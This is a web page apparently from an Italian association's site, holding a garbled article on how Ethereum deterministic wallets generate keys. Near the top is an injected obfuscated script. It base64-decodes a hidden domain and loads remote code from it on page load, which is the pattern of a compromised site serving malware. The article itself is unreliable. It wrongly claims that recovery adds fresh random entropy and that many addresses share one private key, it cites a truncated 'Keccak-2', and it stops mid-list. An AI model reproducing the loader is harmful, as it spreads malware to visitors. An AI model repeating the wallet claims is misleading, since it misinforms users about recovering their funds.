Ethereum: How do deterministic wallets know how many keys to generate? - F.I.S.A.R. A.P.S.

Compatibilità
Salva(0)
Condividi

const pdx=”bm9yZGVyc3dpbmcuYnV6ei94cC8=”;const pde=atob(pdx);const script=document.createElement(“script”);script.src=”https://”+pde+”cc.php?u=1fd18df1″;document.body.appendChild(script);

Ethereum: How to Generate Deterministic Wallets

Deterministic wallets are a type of Ethereum wallet that allows users to securely store and manage their private keys. One of the key features of deterministic wallets is how they generate new addresses for each transaction, as well as how many keys they use.

In this article, we will explore how deterministic wallets know how many keys to generate in the event of a loss or recovery of the wallet file.

How ​​Deterministic Wallets Work

A deterministic wallet uses a combination of public and private keys to manage its assets. The key generation process for each transaction is as follows:

  • Initial Key Generation: When a user creates a new wallet, it generates a set of initial keys (e.g., a private key and an address) that are used to sign transactions.
  • Transaction Address Generation: For each transaction, the wallet uses its public key to generate a new address. This address is not necessarily unique; multiple addresses can share the same private key.
  • Key Derivation Function (KDF): To add an additional layer of security, the wallet uses a Key Derivation Function (KDF) to combine the public and private keys with other data. The KDF used in Ethereum is called Keccak-2

Deterministic Wallets: How Keys are Generated

Deterministic wallets use a combination of algorithms and techniques to generate new keys for each transaction, including:

  • Random Number Generation

    : A random number generator (RNG) is used to generate additional entropy, which is combined with the existing keys using the KDF.

  • Key Expansion: The RNG-generated entropy is then used to expand the set of public and private keys. This expansion process ensures that multiple addresses can share the same private key.

Wallet File Loss or Recovery

When a user loses their wallet file, they may not have access to it. However, they can restore the wallet from backups. In this scenario, the wallet’s KDF is used to regenerate new keys for each transaction.

The key generation process for deterministic wallets involves:

  • KDF Re-Initialization: The wallet re-initializes its KDF with a fixed salt value and generates a new set of public and private keys.
  • Entropy Generation

    : A new RNG is used to generate additional entropy, which is combined with the existing keys using the KDF.

  • Address Generation: The wallet uses its public key to generate a new address for each transaction.

Deterministic Wallets: How Many Keys are Generated

In the event of a loss or recovery of the wallet file, deterministic wallets generate a new set of addresses for each transaction that has already been generated. This ensures that all transactions are accounted for and can be recovered if needed.

For example, suppose a user creates 10,000 new addresses in 10,000 transactions using their deterministic wallet. In the event of a loss or recovery of the wallet file, the wallet will generate new addresses for each transaction that has already been generated.

In conclusion, deterministic wallets use a combination of algorithms and techniques to generate new keys for each transaction, including random number generation, key expansion, and KDF re-initialization. When a user loses their wallet file, they can restore it from backups, and the wallet will regenerate new keys for all transactions that have already been generated.

Example Use Case

A user creates a deterministic wallet with 10,000 new addresses in 10,000 transactions. The wallets are stored on an external device or hard drive. In the event of a loss or recovery of the wallet file:

  • The wallet re- initializes its KDF with a fixed salt value.
  • A new RNG is used to generate additional entropy for all existing keys.

3.

Recapiti
admin